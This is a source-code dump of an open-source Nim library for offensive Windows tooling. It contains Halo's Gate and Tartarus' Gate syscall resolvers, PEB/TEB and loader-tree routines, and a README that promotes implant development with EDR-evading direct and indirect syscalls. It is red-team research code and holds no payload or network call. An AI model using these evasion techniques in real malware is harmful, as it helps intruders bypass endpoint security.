67 | if (result = checkStub(pFunction, DWORD(i * StubOffsetDown)); result.isOk()):
68 | return
69 | ## check neighboring syscall up
70 | if (result = checkStub(pFunction, DWORD(i * StubOffsetUp)); result.isOk()):
71 | return
72 |
73 | proc halosGateEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult =
74 | let pFunc = ? getProcAddress(imageBase, ident)
75 | halosGateParse(pFunc)
76 |
77 | proc halosGateIat*(imageBase, importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult =
78 | let pFunc = ? getProcAddressEx(imageBase, importBase, ident)
79 | halosGateParse(pFunc)
80 |
81 | template halosGate*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult =
82 | when symEnum is UseEAT: halosGateEat(imageBase, ident)
83 | elif symEnum is UseIAT: halosGateIat(imageBase, ident)
84 |
85 | ## Tartarus' Gate
86 | ##------------------------------------
87 | func tartarusGateParse(pFunction: PVOID): SyscallResult =
88 | if (result = halosGateParse(pFunction); result.isOk()):
89 | return
90 | ## if hooked after `mov r10, rcx`, check the neighborhood to find clean syscall
91 | if cast[PBYTE](pFunction +! 3)[] == 0xE9:
92 | for i in 0 ..< 500:
93 | ## check neighboring syscall down
94 | if (result = checkStub(pFunction, DWORD(i * StubOffsetDown)); result.isOk()):
95 | return
96 | ## check neighboring syscall up
97 | if (result = checkStub(pFunction, DWORD(i * StubOffsetUp)); result.isOk()):
98 | return
99 |
100 | proc tartarusGateEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult =
101 | let pFunc = ? getProcAddress(imageBase, ident)
102 | tartarusGateParse(pFunc)
103 |
104 | proc tartarusGateIat*(imageBase, importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult =
105 | let pFunc = ? getProcAddressEx(imageBase, importBase, ident)
106 | tartarusGateParse(pFunc)
107 |
108 | template tartarusGate*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult =
109 | when symEnum is UseEAT: tartarusGateEat(imageBase, ident)
110 | elif symEnum is UseIAT: tartarusGateIat(imageBase, ident)
111 |
112 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types/apiset.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | import
22 | base
23 |
24 | export
25 | base
26 |
27 | ## Api Set Types
28 | ##------------------------------------------------------------------------
29 | const
30 |
31 | ## Api Schemas
32 | ##------------------------------------
33 | API_SET_SCHEMA_VERSION_V6* = 0x00000006
34 | API_SET_SCHEMA_VERSION_V4* = 0x00000004
35 | API_SET_SCHEMA_VERSION_V3* = 0x00000003
36 | API_SET_SCHEMA_VERSION_V2* = 0x00000002
37 |
38 | API_SET_SCHEMA_FLAGS_SEALED* = 0x00000001
39 | API_SET_SCHEMA_FLAGS_HOST_EXTENSION* = 0x00000002
40 | API_SET_SCHEMA_ENTRY_FLAGS_SEALED* = 0x00000001
41 | API_SET_SCHEMA_ENTRY_FLAGS_EXTENSION* = 0x00000002
42 |
43 | type
44 | ## API Sets
45 | ##------------------------------------
46 | API_SET_NAMESPACE* {.pure.} = object
47 | Version*: ULONG
48 | PAPI_SET_NAMESPACE* = ptr API_SET_NAMESPACE
49 |
50 | ## API Set Version 6 | Windows 10
51 | ##------------------------------------
52 | API_SET_VALUE_ENTRY_V6* {.pure.} = object
53 | Flags*: ULONG
54 | NameOffset*: ULONG
55 | NameLength*: ULONG
56 | ValueOffset*: ULONG
57 | ValueLength*: ULONG
58 | PAPI_SET_VALUE_ENTRY_V6* = ptr API_SET_VALUE_ENTRY_V6
59 |
60 | API_SET_HASH_ENTRY_V6* {.pure.} = object
61 | Hash*: ULONG
62 | Index*: ULONG
63 | PAPI_SET_HASH_ENTRY_V6* = ptr API_SET_HASH_ENTRY_V6
64 |
65 | API_SET_NAMESPACE_ENTRY_V6* {.pure.} = object
66 | Flags*: ULONG
67 | NameOffset*: ULONG
68 | NameLength*: ULONG
69 | HashedLength*: ULONG
70 | ValueOffset*: ULONG
71 | ValueCount*: ULONG
72 | PAPI_SET_NAMESPACE_ENTRY_V6* = ptr API_SET_NAMESPACE_ENTRY_V6
73 |
74 | API_SET_NAMESPACE_V6* {.pure.} = object
75 | Version*: ULONG
76 | Size*: ULONG
77 | Flags*: ULONG
78 | Count*: ULONG
79 | EntryOffset*: ULONG
80 | HashOffset*: ULONG
81 | HashFactor*: ULONG
82 | PAPI_SET_NAMESPACE_V6* = ptr API_SET_NAMESPACE_V6
83 |
84 | ## API Set Version 4 | Windows 8.1
85 | ##------------------------------------
86 | API_SET_VALUE_ENTRY_V4* {.pure.} = object
87 | Flags*: ULONG
88 | NameOffset*: ULONG
89 | NameLength*: ULONG
90 | ValueOffset*: ULONG
91 | ValueLength*: ULONG
92 | PAPI_SET_VALUE_ENTRY_V4* = ptr API_SET_VALUE_ENTRY_V4
93 |
94 | API_SET_VALUE_ARRAY_V4* {.pure.} = object
95 | Flags*: ULONG
96 | Count*: ULONG
97 | Array*: array[ANYSIZE_ARRAY, API_SET_VALUE_ENTRY_V4]
98 | PAPI_SET_VALUE_ARRAY_V4* = ptr API_SET_VALUE_ARRAY_V4
99 |
100 | API_SET_NAMESPACE_ENTRY_V4* {.pure.} = object
101 | Flags*: ULONG
102 | NameOffset*: ULONG
103 | NameLength*: ULONG
104 | AliasOffset*: ULONG
105 | AliasLength*: ULONG
106 | DataOffset*: ULONG
107 | PAPI_SET_NAMESPACE_ENTRY_V4* = ptr API_SET_NAMESPACE_ENTRY_V4
108 |
109 | API_SET_NAMESPACE_ARRAY_V4* {.pure.} = object
110 | Version*: ULONG
111 | Size*: ULONG
112 | Flags*: ULONG
113 | Count*: ULONG
114 | Array*: array[ANYSIZE_ARRAY, API_SET_NAMESPACE_ENTRY_V4]
115 | PAPI_SET_NAMESPACE_ARRAY_V4* = ptr API_SET_NAMESPACE_ARRAY_V4
116 |
117 | ## API Set Version 3 | Windows 8
118 | ##------------------------------------
119 | API_SET_VALUE_ENTRY_V3* {.pure.} = object
120 | NameOffset*: ULONG
121 | NameLength*: ULONG
122 | ValueOffset*: ULONG
123 | ValueLength*: ULONG
124 | PAPI_SET_VALUE_ENTRY_V3* = ptr API_SET_VALUE_ENTRY_V3
125 |
126 | API_SET_VALUE_ARRAY_V3* {.pure.} = object
127 | Count*: ULONG
128 | Array*: array[ANYSIZE_ARRAY, API_SET_VALUE_ENTRY_V3]
129 | PAPI_SET_VALUE_ARRAY_V3* = ptr API_SET_VALUE_ARRAY_V3
130 |
131 | API_SET_NAMESPACE_ENTRY_V3* {.pure.} = object
132 | NameOffset*: ULONG
133 | NameLength*: ULONG
134 | DataOffset*: ULONG
135 | PAPI_SET_NAMESPACE_ENTRY_V3* = ptr API_SET_NAMESPACE_ENTRY_V3
136 |
137 | API_SET_NAMESPACE_ARRAY_V3* {.pure.} = object
138 | Version*: ULONG
139 | Count*: ULONG
140 | Array*: array[ANYSIZE_ARRAY, API_SET_NAMESPACE_ENTRY_V3]
141 | PAPI_SET_NAMESPACE_ARRAY_V3* = ptr API_SET_NAMESPACE_ARRAY_V3
142 |
143 |
144 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Bitmancer
2 | Bitmancer is a library for Offensive Security Tooling development for the Windows operating system written in Nim. It aims to provide common APIs, routines, and macros with highly configurable, position-independent, standalone implementations.
3 |
4 | If you're looking to develop an Implant, test a quick PoC, or write a brand new shiny tool - Bitmancer can help you get started!
5 |
6 | :warning: This repository is currently a massive WIP! There may be issues using it and there are no gaurantees of stability for the time being. :warning:
7 |
8 | ## Dependencies
9 | Bitmancer partially uses [winim](https://github.com/khchen/winim) for its types. To install, run:
10 |
11 | `nimble install winim`
12 |
13 | ## Installation
14 | Bitmancer is not yet part of the nimble repository. For the timebeing, you can install it from Github by simply running:
15 |
16 | `nimble install https://github.com/zimawhit3/Bitmancer`
17 |
18 | ## Compiling
19 | MingW and Nim will introduce dependencies on MSVCRT and Kernel32, as well as global variables used by Nim's System module. If you want to avoid these for position independent code, use the provided nim.cfg.
20 |
21 | To compile:
22 | `nim c -d:mingw `
23 |
24 | ## Usage
25 | For all modules:
26 | ```nim
27 | import Bitmancer
28 | ```
29 | If you need don't need NTDLL routines or syscalls, you can simply use:
30 | ```nim
31 | import Bitmancer/core
32 | ```
33 |
34 | For just the hashing procedures:
35 | ```nim
36 | import Bitmancer/core/obfuscation/hash
37 | ```
38 |
39 | ## Current TODOs:
40 | * [ ] Compile Time defines simplified (YAML?)
41 | * [ ] CI/CD
42 | * [ ] Examples
43 | * [ ] Documentation
44 | * [x] Larger compile-time Hash Seed
45 | * [ ] Tests!
46 |
47 | ## Features
48 | ### Currently supported features:
49 | * ApiSet Name Resolving
50 | * Common APIs (GetProcAddress, GetModuleHandle, GetSystemTime, etc..)
51 | * Hashing
52 | * Compile Time
53 | * Run Time
54 | * Manual Mapper
55 | * From Disk
56 | * From Memory :construction:
57 | * DLLs :construction:
58 | * COFFs :construction:
59 | * NTDLL
60 | * Nt* Syscalls
61 | * Rtl* procedures
62 | * NTLoader Database
63 | * Linked Lists (LDR_DATA_TABLE_ENTRY)
64 | * Red Black Trees (RTL_BALANCED_NODE)
65 | * Portable Executable parsing and utilities
66 | * SSN Enumeration
67 | * [Hell's Gate](https://github.com/am0nsec/HellsGate)
68 | * [Halo's Gate](https://sektor7.net/#!res/2021/halosgate.md)
69 | * [Tartarus' Gate](https://github.com/trickster0/TartarusGate)
70 | * [LdrThunkSignatures](https://github.com/mdsecactivebreach/ParallelSyscalls/)
71 | * ZwCounter
72 | * Stack Strings
73 | * Syscall Evasion Techniques
74 | * Direct Syscalls
75 | * Indirect Syscalls
76 |
77 | ### Future Features I'm aiming to support:
78 | * [ ] Anti-Debug Routines and Utilities
79 | * [ ] Encryption
80 | * [ ] Exception Handling
81 | * [ ] Callbacks
82 | * [ ] Instrumented
83 | * [ ] Native
84 | * [ ] VEH
85 | * [ ] Hooking Routines and Utilities
86 | * [ ] More NTDLL Wrappers
87 | * [ ] Sleep Evasion Techniques
88 | * [ ] [Death Sleep](https://github.com/janoglezcampos/DeathSleep)
89 | * [ ] [CreateTimerQueueTimer](https://github.com/Cracked5pider/Ekko)
90 | * [ ] Stack Spoofing
91 | * [ ] Syscall Evasion Techniques
92 | * [ ] [Tamper](https://github.com/rad9800/TamperingSyscalls)
93 | * [ ] x86 Support
94 |
95 | If there's a feature/technique you would like implemented, let me know!
96 |
97 | ## Examples
98 | Stack Strings:
99 | ```nim
100 | var wStr {.stackStringW.} = "Hello!"
101 | var cStr {.stackStringA.} = "World!"
102 | ```
103 |
104 | If you're looking to generate a wrapper around a syscall not currently available, the basic flow is as follows:
105 | ```nim
106 | ## Import syscalls
107 | import Bitmancer/syscalls
108 |
109 | ## For hashing
110 | import Bitmancer/core/obfuscation/hash
111 |
112 | ## Define your type
113 | type NtClose = proc(h: HANDLE): NTSTATUS {.stdcall, gcsafe.}
114 |
115 | ## Generate the wrapper
116 | genSyscall(NtClose)
117 |
118 | ## Define configurations for how to retrieve and execute the syscall
119 |
120 | ## The procedure's symbol enumeration method - available options are:
121 | ## UseEAT - use the export address table to resolve the symbol
122 | ## UseIAT - use the import address table to resolve the symbol
123 | ## UseLdrThunks - use the NTLoader's LdrThunkSignatures to map a clean NTDLL to resolve symbols from
124 | const symEnum = SymbolEnumeration.UseEAT
125 |
126 | ## The SSN enumeration method - available options are:
127 | ## HellsGate
128 | ## HalosGate
129 | ## TartarusGate
130 | ## ZwCounter
131 | const ssnEnum = SsnEnumeration.HellsGate
132 |
133 | ## Finally, the execution method - available options are:
134 | ## Direct - use the direct syscall stub
135 | ## Indirect - use the indirect syscall stub
136 | const exeEnum = SyscallExecution.Indirect
137 |
138 | ## Define an ident to use to identify the symbol
139 | const NtCloseHash = ctDjb2 "NtClose"
140 |
141 | ## Retrive NTDLL
142 | let Ntdll = ? NTDLL_BASE()
143 |
144 | ## Call ctGetNtSyscall, retrieving the NtSyscall object containing the SSN, pointer to the address of the function
145 | ## and a casted stub to your type.
146 | let NtSyscall = ctGetNtSyscall[NtClose](Ntdll, ModuleHandle(NULL), NtCloseHash, symEnum, ssnEnum, exeEnum)
147 |
148 | ## Finally, call the wrapper!
149 | NtCloseWrapper(h, NtSyscall.wSyscall, NtSyscall.pSyscall, NtSyscall.pFunction)
150 | ```
151 | See the [runShellCode example](./examples/runShellcode.nim) for a complete example.
152 | More examples can also be found in [ntdll](./Bitmancer/ntdll/).
153 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/pebteb.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | intrinsics, ntresult, types, utils
22 |
23 | export
24 | ntresult, types
25 |
26 | const
27 | TEB_OFFSET_64 = 0x30
28 | TEB_OFFSET_32 = 0x18
29 | PEB_OFFSET_64 = 0x60
30 | PEB_OFFSET_32 = 0x30
31 | KUSER_SHARED_DATA_ADDRESS = 0x7FFE0000
32 |
33 | template NT_RESULT*(status: NTSTATUS, body: untyped): Result[type(body), NtError] =
34 | if status >= 0:
35 | when body is void:
36 | ok()
37 | else:
38 | var t = body
39 | ok t
40 | else:
41 | err SyscallFailure
42 |
43 | func ntCurrentTeb*(): PTEB {.inline, codeGenDecl: "__forceinline $# $#$#".} =
44 | when defined(cpu64): cast[PTEB](readgsqword(TEB_OFFSET_64))
45 | elif defined(i386): cast[PTEB](readfsdword(TEB_OFFSET_32))
46 |
47 | func ntCurrentPeb*(): PPEB {.inline, codeGenDecl: "__forceinline $# $#$#".} =
48 | when defined(cpu64): cast[PPEB](readgsqword(PEB_OFFSET_64))
49 | elif defined(i386): cast[PPEB](readfsdword(PEB_OFFSET_32))
50 |
51 | func ntKUserSharedData*(): PKUSER_SHARED_DATA {.inline.} =
52 | cast[PKUSER_SHARED_DATA](KUSER_SHARED_DATA_ADDRESS)
53 |
54 | func rtlProcessHeap*(): HANDLE {.inline.} =
55 | cast[HANDLE](ntCurrentPeb().ProcessHeap)
56 |
57 | template rtlCurrentProcess*(): HANDLE =
58 | HANDLE(-1)
59 |
60 | func getApiSet*(): PAPI_SET_NAMESPACE {.inline.} =
61 | ntCurrentPeb().ApiSetMap
62 |
63 | func getProcessId*(): UINT_PTR {.inline.} =
64 | cast[UINT_PTR](ntCurrentTeb().ClientId.UniqueProcess)
65 |
66 | func getStackBase*(): PVOID {.inline.} =
67 | ntCurrentTeb().NtTib.StackBase
68 |
69 | func getStackLimit*(): PVOID {.inline.} =
70 | ntCurrentTeb().NtTib.StackLimit
71 |
72 | func getThreadId*(): UINT_PTR {.inline.} =
73 | cast[UINT_PTR](ntCurrentTeb().ClientId.UniqueThread)
74 |
75 | func getTickCount*(): ULONGLONG {.inline.} =
76 | let kusd = ntKUserSharedData()
77 | cast[ULONGLONG]((cast[uint64](kusd.Union3.TickCount) * cast[uint64](kusd.TickCountMultiplier)) shr 0x18)
78 |
79 | func getSystemTime*(): PLARGE_INTEGER {.inline.} =
80 | cast[PLARGE_INTEGER](addr ntKUserSharedData().SystemTime)
81 |
82 | func getLoaderLock*(): PRTL_CRITICAL_SECTION {.inline.} =
83 | ntCurrentPeb().LoaderLock
84 |
85 | func getPebFastLock*(): PRTL_CRITICAL_SECTION {.inline.} =
86 | ntCurrentPeb().FastPebLock
87 |
88 | func getOSBuildNumber*(): USHORT {.inline.} =
89 | ntCurrentPeb().OSBuildNumber
90 |
91 | func getOSMajorVersion*(): ULONG {.inline.} =
92 | ntCurrentPeb().OSMajorVersion
93 |
94 | func getOSMinorVersion*(): ULONG {.inline.} =
95 | ntCurrentPeb().OSMinorVersion
96 |
97 | ## LDR_DATA_TABLE_ENTRY Bit Fields
98 | ##------------------------------------------------------------------------
99 | const
100 | PackagedBinary* = 0
101 | MarkedForRemoval* = 1
102 | ImageDll* = 2
103 | LoadNotificationSent* = 3
104 | TelemetryEntryProcessed* = 4
105 | ProcessStaticImport* = 5
106 | InLegacyLists* = 6
107 | InIndexes* = 7
108 | ShimDll* = 8
109 | InExceptionTable* = 9
110 | ReservedFlags1* = 10
111 | LoadInProgress* = 12
112 | LoadConfigProcessed* = 13
113 | EntryProcessed* = 14
114 | ProtectDelayLoad* = 15
115 | ReservedFlags3* = 16
116 | DontCallForThreads* = 18
117 | ProcessAttachCalled* = 19
118 | ProcessAttachFailed* = 20
119 | CorDeferredValidate* = 21
120 | CorImage* = 22
121 | DontRelocate* = 23
122 | CorILOnly* = 24
123 | ChpeImage* = 25
124 | ChpeEmulatorImage* = 26
125 | ReservedFlags5* = 27
126 | Redirected* = 28
127 | ReservedFlags6* = 29
128 | CompatDatabaseProcessed* = 31
129 |
130 | func setBit*(entry: PLDR_DATA_TABLE_ENTRY, bit: Natural) {.inline.} =
131 | type T = type(entry.Union_2.Flags)
132 | let mask = 1.T shl bit
133 | entry.Union_2.Flags |= mask
134 |
135 | func clearBit*(entry: PLDR_DATA_TABLE_ENTRY, bit: Natural) {.inline.} =
136 | type T = type(entry.Union_2.Flags)
137 | let mask = 1.T
138 | entry.Union_2.Flags &= not mask
139 |
140 | func isSet*(entry: PLDR_DATA_TABLE_ENTRY, bit: Natural): bool {.inline.} =
141 | type T = type(entry.Union_2.Flags)
142 | ((entry.Union_2.Flags shr bit) and 1.T) != 0
143 |
144 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/types/pe.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | base
22 | export
23 | base
24 |
25 | type
26 | DllMain* = proc(hinstDLL: HINSTANCE, fdwReason: DWORD, lpReserved: LPVOID): BOOL {.stdcall, gcsafe.}
27 |
28 | ## Import Directory
29 | ##-----------------------------------------------
30 | type
31 | IMAGE_FIXUP_ENTRY* {.pure.} = object
32 | Offset* {.bitsize: 12.}: WORD
33 | Type* {.bitsize: 4.}: WORD
34 | PIMAGE_FIXUP_ENTRY* = ptr IMAGE_FIXUP_ENTRY
35 |
36 | ## Load Config Directory
37 | ##-----------------------------------------------
38 | when defined(cpu64):
39 | const
40 | SECURITY_COOKIE_INITIAL* = 0x00002B992DDFA232
41 |
42 | else:
43 | const
44 | SECURITY_COOKIE_INITIAL* = 0xBB40E64E
45 |
46 | const
47 | SECURITY_COOKIE_16BIT_INITIAL* = 0xBB40
48 |
49 | type
50 | IMAGE_LOAD_CONFIG_CODE_INTEGRITY* {.pure.} = object
51 | Flags*: USHORT
52 | Catalog*: USHORT
53 | CatalogOffset*: uint32
54 | Reserved*: uint32
55 |
56 | when defined(cpu64):
57 | type
58 | IMAGE_LOAD_CONFIG_DIRECTORY64* {.pure.} = object
59 | Size*: DWORD
60 | TimeDateStamp*: DWORD
61 | MajorVersion*: WORD
62 | MinorVersion*: WORD
63 | GlobalFlagsClear*: DWORD
64 | GlobalFlagsSet*: DWORD
65 | CriticalSectionDefaultTimeout*: DWORD
66 | DeCommitFreeBlockThreshold*: ULONGLONG
67 | DeCommitTotalFreeThreshold*: ULONGLONG
68 | LockPrefixTable*: ULONGLONG
69 | MaximumAllocationSize*: ULONGLONG
70 | VirtualMemoryThreshold*: ULONGLONG
71 | ProcessAffinityMask*: ULONGLONG
72 | ProcessHeapFlags*: DWORD
73 | CSDVersion*: WORD
74 | DependentLoadFlags*: WORD
75 | EditList*: ULONGLONG
76 | SecurityCookie*: ULONGLONG
77 | SEHandlerTable*: ULONGLONG
78 | SEHandlerCount*: ULONGLONG
79 | GuardCFCheckFunctionPointer*: ULONGLONG
80 | GuardCFDispatchFunctionPointer*: ULONGLONG
81 | GuardCFFunctionTable*: ULONGLONG
82 | GuardCFFunctionCount*: ULONGLONG
83 | GuardFlags*: DWORD
84 | CodeIntegrity*: IMAGE_LOAD_CONFIG_CODE_INTEGRITY
85 | GuardAddressTakenIatEntryTable*: ULONGLONG
86 | GuardAddressTakenIatEntryCount*: ULONGLONG
87 | GuardLongJumpTargetTable*: ULONGLONG
88 | GuardLongJumpTargetCount*: ULONGLONG
89 | DynamicValueRelocTable*: ULONGLONG
90 | CHPEMetadataPointer*: ULONGLONG
91 | GuardRFFailureRoutine*: ULONGLONG
92 | GuardRFFailureRoutineFunctionPointer*: ULONGLONG
93 | DynamicValueRelocTableOffset*: DWORD
94 | DynamicValueRelocTableSection*: WORD
95 | Reserved2*: WORD
96 | GuardRFVerifyStackPointerFunctionPointer*: ULONGLONG
97 | HotPatchTableOffset*: DWORD
98 | Reserved3*: DWORD
99 | EnclaveConfigurationPointer*: ULONGLONG
100 | VolatileMetadataPointer*: ULONGLONG
101 | GuardEHContinuationTable*: ULONGLONG
102 | GuardEHContinuationCount*: ULONGLONG
103 | GuardXFGCheckFunctionPointer*: ULONGLONG
104 | GuardXFGDispatchFunctionPointer*: ULONGLONG
105 | GuardXFGTableDispatchFunctionPointer*: ULONGLONG
106 | CastGuardOsDeterminedFailureMode*: ULONGLONG
107 | GuardMemcpyFunctionPointer*: ULONGLONG
108 | PIMAGE_LOAD_CONFIG_DIRECTORY64* = ptr IMAGE_LOAD_CONFIG_DIRECTORY64
109 | PIMAGE_LOAD_CONFIG_DIRECTORY* = PIMAGE_LOAD_CONFIG_DIRECTORY64
110 | else:
111 | ## TODO
112 |
113 |
114 |
115 |
116 |
117 |
118 |
--------------------------------------------------------------------------------
/src/Bitmancer/rtl/rb.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../core
23 |
24 | export
25 | core
26 |
27 | ## Hashes
28 | ##---------------------------------------------------------------------
29 | const
30 | RtlRbInsertNodeExHash* = ctDjb2 "RtlRbInsertNodeEx"
31 | RtlRbRemoveNodeHash* = ctDjb2 "RtlRbRemoveNode"
32 |
33 | ## RtlRbInsertNodeEx
34 | ##------------------------------------
35 | proc getRtlRbInsertNodeEx*(Ntdll: ModuleHandle): NtResult[RtlRbInsertNodeEx] {.inline.} =
36 | let f = ? getProcAddress(Ntdll, RtlRbInsertNodeExHash)
37 | ok cast[RtlRbInsertNodeEx](f)
38 |
39 | proc rtlRbInsertNodeEx*(
40 | pRtlRbTree: PRTL_RB_TREE,
41 | parent: PRTL_BALANCED_NODE,
42 | bRight: BOOLEAN,
43 | node: PRTL_BALANCED_NODE
44 | ): NtResult[void] =
45 | let
46 | Ntdll = ? NTDLL_BASE()
47 | pRtlRbInsertNodeEx = ? getRtlRbInsertNodeEx Ntdll
48 | pRtlRbInsertNodeEx(pRtlRbTree, parent, bRight, node)
49 | ok()
50 |
51 | ## RtlRbRemoveNode
52 | ##------------------------------------
53 | proc getRtlRbRemoveNode*(Ntdll: ModuleHandle): NtResult[RtlRbRemoveNode] {.inline.} =
54 | let f = ? getProcAddress(Ntdll, RtlRbRemoveNodeHash)
55 | ok cast[RtlRbRemoveNode](f)
56 |
57 | proc rtlRbRemoveNode*(pRtlRbTree: PRTL_RB_TREE, node: PRTL_BALANCED_NODE): NtResult[void] =
58 | let
59 | Ntdll = ? NTDLL_BASE()
60 | pRtlRbRemoveNode = ? getRtlRbRemoveNode Ntdll
61 | pRtlRbRemoveNode(pRtlRbTree, node)
62 | ok()
63 |
64 | ## Rtl*BaseAddressIndex
65 | ##------------------------------------
66 | proc rtlInsertNodeBaseAddressIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] =
67 | let
68 | BaseAddressIndex = ? getBaseAddressIndexTree()
69 | BaseNodeOffset = offsetOf(LDR_DATA_TABLE_ENTRY, BaseAddressIndexNode)
70 | var
71 | bRight = BOOLEAN(FALSE)
72 | LdrEntry = cast[PLDR_DATA_TABLE_ENTRY](cast[int](BaseAddressIndex) -% BaseNodeOffset)
73 |
74 | while true:
75 | if imageEntry.DLLBase < LdrEntry.DllBase:
76 | if CHILD_ENTRY_LEFT(LdrEntry.BaseAddressIndexNode).isNil():
77 | break
78 | LdrEntry = ENTRY_NEXT_NODE_LEFT(LdrEntry.BaseAddressIndexNode, BaseNodeOffset)
79 |
80 | elif imageEntry.DLLBase > LdrEntry.DllBase:
81 | if CHILD_ENTRY_RIGHT(LdrEntry.BaseAddressIndexNode).isNil():
82 | bRight = TRUE
83 | break
84 | LdrEntry = ENTRY_NEXT_NODE_RIGHT(LdrEntry.BaseAddressIndexNode, BaseNodeOffset)
85 |
86 | else:
87 | ## Already in the tree, inc the ref count
88 | inc LdrEntry.DdagNode.LoadCount
89 | return ok()
90 | rtlRbInsertNodeEx(BaseAddressIndex, addr LdrEntry.BaseAddressIndexNode, bRight, addr imageEntry.BaseAddressIndexNode)
91 |
92 | proc rtlRemoveNodeBaseAddressIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] =
93 | let BaseAddressIndex = ? getBaseAddressIndexTree()
94 | rtlRbRemoveNode(BaseAddressIndex, addr imageEntry.BaseAddressIndexNode)
95 |
96 | ## Rtl*MappingInfoIndex
97 | ##------------------------------------
98 | proc rtlInsertNodeMappingInfoIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] =
99 | let
100 | MappingInfoIndex = ? getMappingInfoIndexTree()
101 | NtHeaders = ? imageNtHeader imageEntry.DLLBase.ModuleHandle
102 | TimeStamp = NtHeaders.FileHeader.TimeDateStamp
103 | MappingNodeOffset = offsetOf(LDR_DATA_TABLE_ENTRY, MappingInfoIndexNode)
104 | var
105 | bRight = BOOLEAN(FALSE)
106 | LdrEntry = cast[PLDR_DATA_TABLE_ENTRY](cast[int](MappingInfoIndex) -% MappingNodeOffset)
107 |
108 | while true:
109 | if TimeStamp <=% LdrEntry.TimeDateStamp and
110 | (TimeStamp != LdrEntry.TimeDateStamp or NtHeaders.OptionalHeader.SizeOfImage <= LdrEntry.SizeOfImage):
111 | if CHILD_ENTRY_LEFT(LdrEntry.MappingInfoIndexNode).isNil():
112 | break
113 | LdrEntry = ENTRY_NEXT_NODE_LEFT(LdrEntry.MappingInfoIndexNode, MappingNodeOffset)
114 |
115 | elif TimeStamp >=% LdrEntry.TimeDateStamp and
116 | (TimeStamp != LdrEntry.TimeDateStamp or NtHeaders.OptionalHeader.SizeOfImage >= LdrEntry.SizeOfImage):
117 | if CHILD_ENTRY_RIGHT(LdrEntry.MappingInfoIndexNode).isNil():
118 | bRight = TRUE
119 | break
120 | LdrEntry = ENTRY_NEXT_NODE_RIGHT(LdrEntry.MappingInfoIndexNode, MappingNodeOffset)
121 |
122 | else:
123 | ## Already in the tree, inc the ref count
124 | inc LdrEntry.DdagNode.LoadCount
125 | return ok()
126 | rtlRbInsertNodeEx(MappingInfoIndex, addr LdrEntry.MappingInfoIndexNode, bRight, addr imageEntry.MappingInfoIndexNode)
127 |
128 | proc rtlRemoveNodeMappingInfoIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] {.discardable.} =
129 | let MappingInfoIndex = ? getMappingInfoIndexTree()
130 | rtlRbRemoveNode(MappingInfoIndex, addr imageEntry.MappingInfoIndexNode)
131 |
132 |
